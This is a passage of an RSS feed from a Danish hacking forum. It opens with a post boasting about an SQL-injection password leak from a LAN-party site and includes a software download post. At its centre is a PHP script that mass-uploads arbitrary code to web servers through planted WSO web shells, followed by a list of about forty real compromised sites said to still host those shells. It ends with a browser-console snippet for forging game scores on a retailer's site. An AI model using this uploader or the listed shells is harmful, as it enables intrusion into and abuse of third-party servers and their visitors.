Nu har lækket også blive dækket i medierne, men det er en skam at Oliver ikke tager ansvar for sine handlinger.<br />
<br />
- Siden var ikke lagt ned, men bare rykket til "nlparty.dk/nlp16/". Google eventuelt siden, hvis I ikke tror på mig. Siden har altid været sårbar overfor SQL injections, første gang jeg opdagede et hul var da siden åbnede i shoppen. Det hul var så blevet ordnet efter siden lukkede ned, men der var så stadig andre huller. Så det er ikke nogens skyld, som så mange andre påstår.<br />
- Selvfølgelig har det været bevidst, at alle kodeord er blevet gemt viden siden af hashing. Ha har selv lavet siden. Hvis du Googler intext:"notsha1passwd", så kommer der kun resultater op omkring nlparty.<br />
<br />
Pisse pinligt for ham. Og de har endnu ikke skrevet en opdatering på deres Facebook side, som opfordrer folk til at skifte deres kode. Er de ligeglade? Tag ansvar.<br />
Jeg er langt fra den eneste som kendte til hullet!]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Tråd lukket.]]></title>
			<link>https://www.shellsec.pw/traad-traad-lukket</link>
			<pubDate>Thu, 01 Feb 2018 16:04:39 +0100</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-traad-lukket</guid>
			<description><![CDATA[Slettet. Ingen feedback, ingen årsag til at have tråden oppe i så fald.<br />
Næste gang jeg udgiver noget og du kan lide det, husk at give feedback isted for at kopier koden og lade den forsvinde i tavshed.]]></description>
			<content:encoded><![CDATA[Slettet. Ingen feedback, ingen årsag til at have tråden oppe i så fald.<br />
Næste gang jeg udgiver noget og du kan lide det, husk at give feedback isted for at kopier koden og lade den forsvinde i tavshed.]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Firefox extension til blokering af JS minere]]></title>
			<link>https://www.shellsec.pw/traad-firefox-extension-til-blokering-af-js</link>
			<pubDate>Fri, 22 Sep 2017 18:45:59 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-firefox-extension-til-blokering-af-js</guid>
			<description><![CDATA[x]]></description>
			<content:encoded><![CDATA[x]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[nHost 1.0 | C++ | Ændre dit Hostname, Deaktiver Windows Tracking]]></title>
			<link>https://www.shellsec.pw/traad-nhost-1-0-c-aendre-dit-hostname-deaktiver</link>
			<pubDate>Sun, 20 Aug 2017 15:58:12 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-nhost-1-0-c-aendre-dit-hostname-deaktiver</guid>
			<description><![CDATA[<div style="text-align: center;" class="mycode_align"><span style="color: #ff3366;" class="mycode_color"><span style="font-family: Courier New;" class="mycode_font"><span style="font-size: large;" class="mycode_size">VIDEO LINK: <a href="https://streamable.com/aed9z" target="_blank" rel="noopener" class="mycode_url">https://streamable.com/aed9z</a></span></span></span><br />
Videoen er i HD og varer kun et par minutter.<br />
<hr class="mycode_hr" />
<br />
Hej, jeg er jRules og er software udvikler.</div>
<br />
<div style="text-align: center;" class="mycode_align">Jeg har programmeret et program i C++ som jeg kalder nHost,</div>
<div style="text-align: center;" class="mycode_align">som er et privatliv-værktøj som er lavet til at ændre din computer's hostname,</div>
<div style="text-align: center;" class="mycode_align">samt tager det brug af en external applikation til at fjerne Windows Tracking.<br />
<br />
Du kan også ændre til illegale karaktere/operatore i dit hostname &lt;&lt;&gt;&gt;*/osv</div>
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b">Opdateringer:</span></div>
<div style="text-align: center;" class="mycode_align"><span style="color: #cc3333;" class="mycode_color">Jeg vil sørge for at opdatere <span style="font-weight: bold;" class="mycode_b">nHost </span>så meget som muligt og tilføje flere funktioner,</span></div>
<div style="text-align: center;" class="mycode_align"><span style="color: #cc3333;" class="mycode_color">Men arbejde kan nogen gange trække ud samt jeg er igang med et certifikat de næste 16 uger og jeg er alene mand på projektet,</span></div>
<div style="text-align: center;" class="mycode_align"><span style="color: #cc3333;" class="mycode_color">forvent at jeg opdaterer igen med nye funktioner om 15-30 dage, håber før 1/10/2017.</span></div>
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-family: Comic Sans MS;" class="mycode_font"><span style="font-size: large;" class="mycode_size">Programmet har været under en QA-test og virker helt fejlfrit.</span></span></div>
<br />
<div style="text-align: center;" class="mycode_align">Download kun fra det link som jeg udgiver og tjek altid om checksum af filen er identisk med den i tråden.</div>
<div style="text-align: center;" class="mycode_align">Brug eventuelt <span style="font-weight: bold;" class="mycode_b"><a href="https://www.virustotal.com" target="_blank" rel="noopener" class="mycode_url">https://www.virustotal.com</a></span> og scan filen, det laver en checksum af filen i SHA-256, så kan de sammenligne om de identiske.<br />
</div>
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: #339933;" class="mycode_color">SHA-256 checksum:</span> SHA-256b9b02ce0ab7e1b4043ca962e0d17a2a25a8734dd98e4a1f50f4e6b8768b589e2</div>
<div style="text-align: center;" class="mycode_align"><span style="color: #339933;" class="mycode_color">VirusTotal scan:</span> <a href="https://www.virustotal.com/#/file/b9b02ce0ab7e1b4043ca962e0d17a2a25a8734dd98e4a1f50f4e6b8768b589e2/detection" target="_blank" rel="noopener" class="mycode_url">https://www.virustotal.com/#/file/b9b02c.../detection</a></div>
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b">Download nu:</span><a href="http://www81.zippyshare.com/d/SSjsBoId/49233/nHost.zip" target="_blank" rel="noopener" class="mycode_url"> nHost.zip</a></div>
<div style="text-align: center;" class="mycode_align"><span style="font-size: small;" class="mycode_size">Fuldt Link: <a href="http://www81.zippyshare.com/d/SSjsBoId/49233/nHost.zip" target="_blank" rel="noopener" class="mycode_url">zippyshare.com/d/SSjsBoId/49233/nHost.zip</a><br />
<br />
<span style="font-size: large;" class="mycode_size">Ændrings-Logbog</span>:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>20-08-2017: PROGRAM UDGIVET.</blockquote>
</span></div>]]></description>
			<content:encoded><![CDATA[<div style="text-align: center;" class="mycode_align"><span style="color: #ff3366;" class="mycode_color"><span style="font-family: Courier New;" class="mycode_font"><span style="font-size: large;" class="mycode_size">VIDEO LINK: <a href="https://streamable.com/aed9z" target="_blank" rel="noopener" class="mycode_url">https://streamable.com/aed9z</a></span></span></span><br />
Videoen er i HD og varer kun et par minutter.<br />
<hr class="mycode_hr" />
<br />
Hej, jeg er jRules og er software udvikler.</div>
<br />
<div style="text-align: center;" class="mycode_align">Jeg har programmeret et program i C++ som jeg kalder nHost,</div>
<div style="text-align: center;" class="mycode_align">som er et privatliv-værktøj som er lavet til at ændre din computer's hostname,</div>
<div style="text-align: center;" class="mycode_align">samt tager det brug af en external applikation til at fjerne Windows Tracking.<br />
<br />
Du kan også ændre til illegale karaktere/operatore i dit hostname &lt;&lt;&gt;&gt;*/osv</div>
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b">Opdateringer:</span></div>
<div style="text-align: center;" class="mycode_align"><span style="color: #cc3333;" class="mycode_color">Jeg vil sørge for at opdatere <span style="font-weight: bold;" class="mycode_b">nHost </span>så meget som muligt og tilføje flere funktioner,</span></div>
<div style="text-align: center;" class="mycode_align"><span style="color: #cc3333;" class="mycode_color">Men arbejde kan nogen gange trække ud samt jeg er igang med et certifikat de næste 16 uger og jeg er alene mand på projektet,</span></div>
<div style="text-align: center;" class="mycode_align"><span style="color: #cc3333;" class="mycode_color">forvent at jeg opdaterer igen med nye funktioner om 15-30 dage, håber før 1/10/2017.</span></div>
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-family: Comic Sans MS;" class="mycode_font"><span style="font-size: large;" class="mycode_size">Programmet har været under en QA-test og virker helt fejlfrit.</span></span></div>
<br />
<div style="text-align: center;" class="mycode_align">Download kun fra det link som jeg udgiver og tjek altid om checksum af filen er identisk med den i tråden.</div>
<div style="text-align: center;" class="mycode_align">Brug eventuelt <span style="font-weight: bold;" class="mycode_b"><a href="https://www.virustotal.com" target="_blank" rel="noopener" class="mycode_url">https://www.virustotal.com</a></span> og scan filen, det laver en checksum af filen i SHA-256, så kan de sammenligne om de identiske.<br />
</div>
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: #339933;" class="mycode_color">SHA-256 checksum:</span> SHA-256b9b02ce0ab7e1b4043ca962e0d17a2a25a8734dd98e4a1f50f4e6b8768b589e2</div>
<div style="text-align: center;" class="mycode_align"><span style="color: #339933;" class="mycode_color">VirusTotal scan:</span> <a href="https://www.virustotal.com/#/file/b9b02ce0ab7e1b4043ca962e0d17a2a25a8734dd98e4a1f50f4e6b8768b589e2/detection" target="_blank" rel="noopener" class="mycode_url">https://www.virustotal.com/#/file/b9b02c.../detection</a></div>
<br />
<div style="text-align: center;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b">Download nu:</span><a href="http://www81.zippyshare.com/d/SSjsBoId/49233/nHost.zip" target="_blank" rel="noopener" class="mycode_url"> nHost.zip</a></div>
<div style="text-align: center;" class="mycode_align"><span style="font-size: small;" class="mycode_size">Fuldt Link: <a href="http://www81.zippyshare.com/d/SSjsBoId/49233/nHost.zip" target="_blank" rel="noopener" class="mycode_url">zippyshare.com/d/SSjsBoId/49233/nHost.zip</a><br />
<br />
<span style="font-size: large;" class="mycode_size">Ændrings-Logbog</span>:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>20-08-2017: PROGRAM UDGIVET.</blockquote>
</span></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[WSO Shell Uploader + gratis shells til test af scriptet.]]></title>
			<link>https://www.shellsec.pw/traad-wso-shell-uploader-gratis-shells-til</link>
			<pubDate>Mon, 10 Oct 2016 22:54:01 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-wso-shell-uploader-gratis-shells-til</guid>
			<description><![CDATA[Denne uploader er lavet specifikt for WSO shells, du kan masse upload en liste med shells, du specificere path til din wso shell.<br />
<span style="font-weight: bold;" class="mycode_b">Eksempel:</span> <a href="http://dinside.dk/x.php" target="_blank" rel="noopener" class="mycode_url">http://dinside.dk/x.php</a><br />
<br />
På samme server som du uploader dette script skal du lave en txt-fil som hedder kode.txt og i den indsætter du din PHP kode.<br />
Din PHP kode i kode.txt vil blive lavet om til en PHP fil og så kan du mass upload din PHP fil til alle din shells.<br />
<br />
Mixede den hurtigt sammen til når jeg selv håndtere store lister med 250-500 shells som jeg bruger som leverings sider eller som "clean pages" når man exploiter større mængder af traffik.<br />
<pre class="line-numbers"><code class="language-php">&lt;?PHP<br />
       if(isset(&#36;_POST['shells'])) {<br />
            &#36;list = explode(PHP_EOL, &#36;_POST['shells']);<br />
<br />
            foreach (&#36;list as &#36;val) {<br />
                &#36;ch = curl_init();<br />
                curl_setopt(&#36;ch, CURLOPT_HEADER, 0);<br />
                curl_setopt(&#36;ch, CURLOPT_VERBOSE, 0);<br />
                curl_setopt(&#36;ch, CURLOPT_RETURNTRANSFER, true);<br />
                curl_setopt(&#36;ch, CURLOPT_URL, &#36;val);<br />
                curl_setopt(&#36;ch, CURLOPT_POST, true);<br />
                &#36;file = new CURLFile('kode.txt');<br />
                &#36;file-&gt;setPostFilename("index.php"); // ændre det til det som din ekstra side skal hedde eller lad den blive hvis formålet er at ændre index siden.<br />
                &#36;post = array('a' =&gt; "FilesMAn", 'c' =&gt; "", 'p1' =&gt; 'uploadFile', 'charset' =&gt; 'Windows-1251', 'f' =&gt; &#36;file);<br />
                &#36;url = parse_url(&#36;val);<br />
                curl_setopt(&#36;ch, CURLOPT_POSTFIELDS, &#36;post);<br />
                curl_exec(&#36;ch);<br />
                echo &#36;url["host"] . " | fil er uploaded." . "&lt;br&gt;";<br />
            }<br />
        }<br />
<br />
        echo '<br />
        &lt;h2&gt;indsæt din shell liste&lt;/h2&gt;&lt;br&gt;<br />
        &lt;form method="POST"&gt;<br />
        &lt;textarea class="form-control" style="resize: vertical;" name="shells"&gt;&lt;/textarea&gt;&lt;br&gt;<br />
        &lt;button type="submit"&gt;Upload kode&lt;/button&gt;<br />
        &lt;/form&gt;<br />
        ';<br />
?&gt;<br />
</code></pre>
<br />
Her er en liste med nogle shells så man kan teste scriptet:<br />
<pre class="line-numbers"><code class="language-php">// denne liste er lidt ældre men nogle af dem virker fint, de er kode injektet så lad hver at besøge dem direkte, gå kun direkte til wso shells.<br />
<br />
<a href="http://www.jsc.lt//tmp/wso.php" target="_blank" rel="noopener" class="mycode_url">http://www.jsc.lt//tmp/wso.php</a><br />
<a href="http://www.petrolguardian.com//tmp/wso.php" target="_blank" rel="noopener" class="mycode_url">http://www.petrolguardian.com//tmp/wso.php</a><br />
<a href="http://penyel.com.br/wso.php" target="_blank" rel="noopener" class="mycode_url">http://penyel.com.br/wso.php</a><br />
<a href="http://www.nvc.com.cy/wso.php" target="_blank" rel="noopener" class="mycode_url">http://www.nvc.com.cy/wso.php</a><br />
<a href="http://nicoband.ru/wso.php" target="_blank" rel="noopener" class="mycode_url">http://nicoband.ru/wso.php</a><br />
<a href="http://dupreedance.com//wso.php" target="_blank" rel="noopener" class="mycode_url">http://dupreedance.com//wso.php</a><br />
<a href="http://en.torshin.ru/wso.php" target="_blank" rel="noopener" class="mycode_url">http://en.torshin.ru/wso.php</a><br />
<a href="http://www.engtest.net/wso.php" target="_blank" rel="noopener" class="mycode_url">http://www.engtest.net/wso.php</a><br />
<a href="http://farmproducts.ru/wso.php" target="_blank" rel="noopener" class="mycode_url">http://farmproducts.ru/wso.php</a><br />
<a href="http://www.orderartwork.com/wso.php" target="_blank" rel="noopener" class="mycode_url">http://www.orderartwork.com/wso.php</a><br />
<a href="http://www.citylog.com.ar/wso.php" target="_blank" rel="noopener" class="mycode_url">http://www.citylog.com.ar/wso.php</a><br />
<a href="http://goulis.gr/wso.php" target="_blank" rel="noopener" class="mycode_url">http://goulis.gr/wso.php</a><br />
<a href="http://cerawear.hu/wso.php" target="_blank" rel="noopener" class="mycode_url">http://cerawear.hu/wso.php</a><br />
<a href="http://radonejskiy.ru/wso.php" target="_blank" rel="noopener" class="mycode_url">http://radonejskiy.ru/wso.php</a><br />
<a href="http://stroipozhservis.ru/wso.php" target="_blank" rel="noopener" class="mycode_url">http://stroipozhservis.ru/wso.php</a><br />
<a href="http://ns1.bigday.com.hk/wso.php" target="_blank" rel="noopener" class="mycode_url">http://ns1.bigday.com.hk/wso.php</a><br />
<a href="http://dolchelecro.es/wso.php" target="_blank" rel="noopener" class="mycode_url">http://dolchelecro.es/wso.php</a><br />
<a href="http://korglobalservices.com/wso.php" target="_blank" rel="noopener" class="mycode_url">http://korglobalservices.com/wso.php</a><br />
<a href="http://allfile.ir/wso.php" target="_blank" rel="noopener" class="mycode_url">http://allfile.ir/wso.php</a><br />
<a href="http://mail.raulmarinho.com/wso.php" target="_blank" rel="noopener" class="mycode_url">http://mail.raulmarinho.com/wso.php</a><br />
<a href="http://6october.info/wso.php" target="_blank" rel="noopener" class="mycode_url">http://6october.info/wso.php</a><br />
<a href="http://furg.se/wso.php" target="_blank" rel="noopener" class="mycode_url">http://furg.se/wso.php</a><br />
<a href="http://craigclearyconstructions.com/wso.php" target="_blank" rel="noopener" class="mycode_url">http://craigclearyconstructions.com/wso.php</a><br />
<a href="http://www.bjchenyangjiaju.com/wso.php" target="_blank" rel="noopener" class="mycode_url">http://www.bjchenyangjiaju.com/wso.php</a><br />
<a href="http://www.aeongv.com/wso.php" target="_blank" rel="noopener" class="mycode_url">http://www.aeongv.com/wso.php</a><br />
<a href="http://ywzj.s602.xrea.com/wso.php" target="_blank" rel="noopener" class="mycode_url">http://ywzj.s602.xrea.com/wso.php</a><br />
<a href="http://www.orchardcroft.ca/wso.php" target="_blank" rel="noopener" class="mycode_url">http://www.orchardcroft.ca/wso.php</a><br />
<a href="http://www.88711.cn/wso.php" target="_blank" rel="noopener" class="mycode_url">http://www.88711.cn/wso.php</a><br />
<a href="http://www.boiler123.com/wso.php" target="_blank" rel="noopener" class="mycode_url">http://www.boiler123.com/wso.php</a><br />
<a href="http://www.yunsbridal.cn/wso.php" target="_blank" rel="noopener" class="mycode_url">http://www.yunsbridal.cn/wso.php</a><br />
<a href="http://officestoday.com/wso.php" target="_blank" rel="noopener" class="mycode_url">http://officestoday.com/wso.php</a><br />
<a href="http://chdup.com/wso.php" target="_blank" rel="noopener" class="mycode_url">http://chdup.com/wso.php</a><br />
<a href="http://www.xuanwudd.com//wso.php" target="_blank" rel="noopener" class="mycode_url">http://www.xuanwudd.com//wso.php</a><br />
<a href="http://www.hcxk.net//wso.php" target="_blank" rel="noopener" class="mycode_url">http://www.hcxk.net//wso.php</a><br />
<a href="http://proresultsrealestate.com//wso.php" target="_blank" rel="noopener" class="mycode_url">http://proresultsrealestate.com//wso.php</a><br />
<a href="http://duniakereta.com//wso.php" target="_blank" rel="noopener" class="mycode_url">http://duniakereta.com//wso.php</a><br />
<a href="http://rawbeets.com//wso.php" target="_blank" rel="noopener" class="mycode_url">http://rawbeets.com//wso.php</a><br />
<a href="http://yorkshirecottageservices.co.uk//wso.php" target="_blank" rel="noopener" class="mycode_url">http://yorkshirecottageservices.co.uk//wso.php</a><br />
<a href="http://en.sinengpower.com//wso.php" target="_blank" rel="noopener" class="mycode_url">http://en.sinengpower.com//wso.php</a><br />
<a href="http://www.scmbxs.com//wso.php" target="_blank" rel="noopener" class="mycode_url">http://www.scmbxs.com//wso.php</a><br />
<a href="http://www.valour.com.cn//wso.php" target="_blank" rel="noopener" class="mycode_url">http://www.valour.com.cn//wso.php</a><br />
<a href="http://km888.com.cn/wso.php" target="_blank" rel="noopener" class="mycode_url">http://km888.com.cn/wso.php</a><br />
<a href="http://www.hhszwh.com/wso.php" target="_blank" rel="noopener" class="mycode_url">http://www.hhszwh.com/wso.php</a><br />
</code></pre>]]></description>
			<content:encoded><![CDATA[Denne uploader er lavet specifikt for WSO shells, du kan masse upload en liste med shells, du specificere path til din wso shell.<br />
<span style="font-weight: bold;" class="mycode_b">Eksempel:</span> <a href="http://dinside.dk/x.php" target="_blank" rel="noopener" class="mycode_url">http://dinside.dk/x.php</a><br />
<br />
På samme server som du uploader dette script skal du lave en txt-fil som hedder kode.txt og i den indsætter du din PHP kode.<br />
Din PHP kode i kode.txt vil blive lavet om til en PHP fil og så kan du mass upload din PHP fil til alle din shells.<br />
<br />
Mixede den hurtigt sammen til når jeg selv håndtere store lister med 250-500 shells som jeg bruger som leverings sider eller som "clean pages" når man exploiter større mængder af traffik.<br />
<pre class="line-numbers"><code class="language-php">&lt;?PHP<br />
       if(isset(&#36;_POST['shells'])) {<br />
            &#36;list = explode(PHP_EOL, &#36;_POST['shells']);<br />
<br />
            foreach (&#36;list as &#36;val) {<br />
                &#36;ch = curl_init();<br />
                curl_setopt(&#36;ch, CURLOPT_HEADER, 0);<br />
                curl_setopt(&#36;ch, CURLOPT_VERBOSE, 0);<br />
                curl_setopt(&#36;ch, CURLOPT_RETURNTRANSFER, true);<br />
                curl_setopt(&#36;ch, CURLOPT_URL, &#36;val);<br />
                curl_setopt(&#36;ch, CURLOPT_POST, true);<br />
                &#36;file = new CURLFile('kode.txt');<br />
                &#36;file-&gt;setPostFilename("index.php"); // ændre det til det som din ekstra side skal hedde eller lad den blive hvis formålet er at ændre index siden.<br />
                &#36;post = array('a' =&gt; "FilesMAn", 'c' =&gt; "", 'p1' =&gt; 'uploadFile', 'charset' =&gt; 'Windows-1251', 'f' =&gt; &#36;file);<br />
                &#36;url = parse_url(&#36;val);<br />
                curl_setopt(&#36;ch, CURLOPT_POSTFIELDS, &#36;post);<br />
                curl_exec(&#36;ch);<br />
                echo &#36;url["host"] . " | fil er uploaded." . "&lt;br&gt;";<br />
            }<br />
        }<br />
<br />
        echo '<br />
        &lt;h2&gt;indsæt din shell liste&lt;/h2&gt;&lt;br&gt;<br />
        &lt;form method="POST"&gt;<br />
        &lt;textarea class="form-control" style="resize: vertical;" name="shells"&gt;&lt;/textarea&gt;&lt;br&gt;<br />
        &lt;button type="submit"&gt;Upload kode&lt;/button&gt;<br />
        &lt;/form&gt;<br />
        ';<br />
?&gt;<br />
</code></pre>
<br />
Her er en liste med nogle shells så man kan teste scriptet:<br />
<pre class="line-numbers"><code class="language-php">// denne liste er lidt ældre men nogle af dem virker fint, de er kode injektet så lad hver at besøge dem direkte, gå kun direkte til wso shells.<br />
<br />
<a href="http://www.jsc.lt//tmp/wso.php" target="_blank" rel="noopener" class="mycode_url">http://www.jsc.lt//tmp/wso.php</a><br />
<a href="http://www.petrolguardian.com//tmp/wso.php" target="_blank" rel="noopener" class="mycode_url">http://www.petrolguardian.com//tmp/wso.php</a><br />
<a href="http://penyel.com.br/wso.php" target="_blank" rel="noopener" class="mycode_url">http://penyel.com.br/wso.php</a><br />
<a href="http://www.nvc.com.cy/wso.php" target="_blank" rel="noopener" class="mycode_url">http://www.nvc.com.cy/wso.php</a><br />
<a href="http://nicoband.ru/wso.php" target="_blank" rel="noopener" class="mycode_url">http://nicoband.ru/wso.php</a><br />
<a href="http://dupreedance.com//wso.php" target="_blank" rel="noopener" class="mycode_url">http://dupreedance.com//wso.php</a><br />
<a href="http://en.torshin.ru/wso.php" target="_blank" rel="noopener" class="mycode_url">http://en.torshin.ru/wso.php</a><br />
<a href="http://www.engtest.net/wso.php" target="_blank" rel="noopener" class="mycode_url">http://www.engtest.net/wso.php</a><br />
<a href="http://farmproducts.ru/wso.php" target="_blank" rel="noopener" class="mycode_url">http://farmproducts.ru/wso.php</a><br />
<a href="http://www.orderartwork.com/wso.php" target="_blank" rel="noopener" class="mycode_url">http://www.orderartwork.com/wso.php</a><br />
<a href="http://www.citylog.com.ar/wso.php" target="_blank" rel="noopener" class="mycode_url">http://www.citylog.com.ar/wso.php</a><br />
<a href="http://goulis.gr/wso.php" target="_blank" rel="noopener" class="mycode_url">http://goulis.gr/wso.php</a><br />
<a href="http://cerawear.hu/wso.php" target="_blank" rel="noopener" class="mycode_url">http://cerawear.hu/wso.php</a><br />
<a href="http://radonejskiy.ru/wso.php" target="_blank" rel="noopener" class="mycode_url">http://radonejskiy.ru/wso.php</a><br />
<a href="http://stroipozhservis.ru/wso.php" target="_blank" rel="noopener" class="mycode_url">http://stroipozhservis.ru/wso.php</a><br />
<a href="http://ns1.bigday.com.hk/wso.php" target="_blank" rel="noopener" class="mycode_url">http://ns1.bigday.com.hk/wso.php</a><br />
<a href="http://dolchelecro.es/wso.php" target="_blank" rel="noopener" class="mycode_url">http://dolchelecro.es/wso.php</a><br />
<a href="http://korglobalservices.com/wso.php" target="_blank" rel="noopener" class="mycode_url">http://korglobalservices.com/wso.php</a><br />
<a href="http://allfile.ir/wso.php" target="_blank" rel="noopener" class="mycode_url">http://allfile.ir/wso.php</a><br />
<a href="http://mail.raulmarinho.com/wso.php" target="_blank" rel="noopener" class="mycode_url">http://mail.raulmarinho.com/wso.php</a><br />
<a href="http://6october.info/wso.php" target="_blank" rel="noopener" class="mycode_url">http://6october.info/wso.php</a><br />
<a href="http://furg.se/wso.php" target="_blank" rel="noopener" class="mycode_url">http://furg.se/wso.php</a><br />
<a href="http://craigclearyconstructions.com/wso.php" target="_blank" rel="noopener" class="mycode_url">http://craigclearyconstructions.com/wso.php</a><br />
<a href="http://www.bjchenyangjiaju.com/wso.php" target="_blank" rel="noopener" class="mycode_url">http://www.bjchenyangjiaju.com/wso.php</a><br />
<a href="http://www.aeongv.com/wso.php" target="_blank" rel="noopener" class="mycode_url">http://www.aeongv.com/wso.php</a><br />
<a href="http://ywzj.s602.xrea.com/wso.php" target="_blank" rel="noopener" class="mycode_url">http://ywzj.s602.xrea.com/wso.php</a><br />
<a href="http://www.orchardcroft.ca/wso.php" target="_blank" rel="noopener" class="mycode_url">http://www.orchardcroft.ca/wso.php</a><br />
<a href="http://www.88711.cn/wso.php" target="_blank" rel="noopener" class="mycode_url">http://www.88711.cn/wso.php</a><br />
<a href="http://www.boiler123.com/wso.php" target="_blank" rel="noopener" class="mycode_url">http://www.boiler123.com/wso.php</a><br />
<a href="http://www.yunsbridal.cn/wso.php" target="_blank" rel="noopener" class="mycode_url">http://www.yunsbridal.cn/wso.php</a><br />
<a href="http://officestoday.com/wso.php" target="_blank" rel="noopener" class="mycode_url">http://officestoday.com/wso.php</a><br />
<a href="http://chdup.com/wso.php" target="_blank" rel="noopener" class="mycode_url">http://chdup.com/wso.php</a><br />
<a href="http://www.xuanwudd.com//wso.php" target="_blank" rel="noopener" class="mycode_url">http://www.xuanwudd.com//wso.php</a><br />
<a href="http://www.hcxk.net//wso.php" target="_blank" rel="noopener" class="mycode_url">http://www.hcxk.net//wso.php</a><br />
<a href="http://proresultsrealestate.com//wso.php" target="_blank" rel="noopener" class="mycode_url">http://proresultsrealestate.com//wso.php</a><br />
<a href="http://duniakereta.com//wso.php" target="_blank" rel="noopener" class="mycode_url">http://duniakereta.com//wso.php</a><br />
<a href="http://rawbeets.com//wso.php" target="_blank" rel="noopener" class="mycode_url">http://rawbeets.com//wso.php</a><br />
<a href="http://yorkshirecottageservices.co.uk//wso.php" target="_blank" rel="noopener" class="mycode_url">http://yorkshirecottageservices.co.uk//wso.php</a><br />
<a href="http://en.sinengpower.com//wso.php" target="_blank" rel="noopener" class="mycode_url">http://en.sinengpower.com//wso.php</a><br />
<a href="http://www.scmbxs.com//wso.php" target="_blank" rel="noopener" class="mycode_url">http://www.scmbxs.com//wso.php</a><br />
<a href="http://www.valour.com.cn//wso.php" target="_blank" rel="noopener" class="mycode_url">http://www.valour.com.cn//wso.php</a><br />
<a href="http://km888.com.cn/wso.php" target="_blank" rel="noopener" class="mycode_url">http://km888.com.cn/wso.php</a><br />
<a href="http://www.hhszwh.com/wso.php" target="_blank" rel="noopener" class="mycode_url">http://www.hhszwh.com/wso.php</a><br />
</code></pre>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Slam Jam Socialism - A R C A D - I S M (Exploit)]]></title>
			<link>https://www.shellsec.pw/traad-slam-jam-socialism-a-r-c-a-d-i-s-m-exploit</link>
			<pubDate>Wed, 21 Sep 2016 14:39:42 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-slam-jam-socialism-a-r-c-a-d-i-s-m-exploit</guid>
			<description><![CDATA[Der har tidligere under de andre Yeezy release været tale om hvordan man kunne exploit ARCADISM.<br />
Så man kunne sikre sig en top-score og jeg valgte at tage et kig på source-code til spillet, og fandt en meget simpel måde at kunne sætte sin score til hvad man nu end var interesseret i.<br />
<br />
Da Slam Jam Socialism åbenbart har åbnet for ARCADISM igen, så kunne lige så godt release scriptet nu i stedet for at sidde og gemme på det.<br />
<br />
Scriptet er simpelt og lige til at bruge. Det eneste du skal er at åbne console i din browser og copy-paste.<br />
Derefter så ændre du bare XXX til det antal score du ville have, og så tryk enter.<br />
<br />
Nu skulle din score gerne være i hus, men igen hvad er en tråd uden bevis for at det virker? (<a href="http://www.slamjamsocialism.com/arcad-ism/" target="_blank" rel="noopener" class="mycode_url">http://www.slamjamsocialism.com/arcad-ism/</a>)<br />
<div><div class="spoiler_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;"><img src="https://vgy.me/8tTEqB.png" alt="[Billede: 8tTEqB.png]" class="mycode_img" /></div></div>
<br />
Scriptet:<br />
<span style="font-size: small;" class="mycode_size"><span style="font-family: Verdana, Arial, sans-serif;" class="mycode_font"><div><div class="spoiler_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;"></span></span><br />
<pre class="line-numbers"><code class="language-javascript">&#36;.ajax({<br />
    method: "POST",<br />
    url: "callback-ism.php",<br />
    data: {<br />
        action: 'setpoint',<br />
        email: email,<br />
        pointz: 'XXX',<br />
        sec: s(email, 'XXX', token)<br />
    }<br />
});<br />
</code></pre></div></div>]]></description>
			<content:encoded><![CDATA[Der har tidligere under de andre Yeezy release været tale om hvordan man kunne exploit ARCADISM.<br />
Så man kunne sikre sig en top-score og jeg valgte at tage et kig på source-code til spillet, og fandt en meget simpel måde at kunne sætte sin score til hvad man nu end var interesseret i.<br />
<br />
Da Slam Jam Socialism åbenbart har åbnet for ARCADISM igen, så kunne lige så godt release scriptet nu i stedet for at sidde og gemme på det.<br />
<br />
Scriptet er simpelt og lige til at bruge. Det eneste du skal er at åbne console i din browser og copy-paste.<br />
Derefter så ændre du bare XXX til det antal score du ville have, og så tryk enter.<br />
<br />
Nu skulle din score gerne være i hus, men igen hvad er en tråd uden bevis for at det virker? (<a href="http://www.slamjamsocialism.com/arcad-ism/" target="_blank" rel="noopener" class="mycode_url">http://www.slamjamsocialism.com/arcad-ism/</a>)<br />
<div><div class="spoiler_header">Spoiler <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;"><img src="https://vgy.me/8tTEqB.png" alt="[Billede: 8tTEqB.png]" class="mycode_img" /></div></div>
<br />
Scriptet:<br />
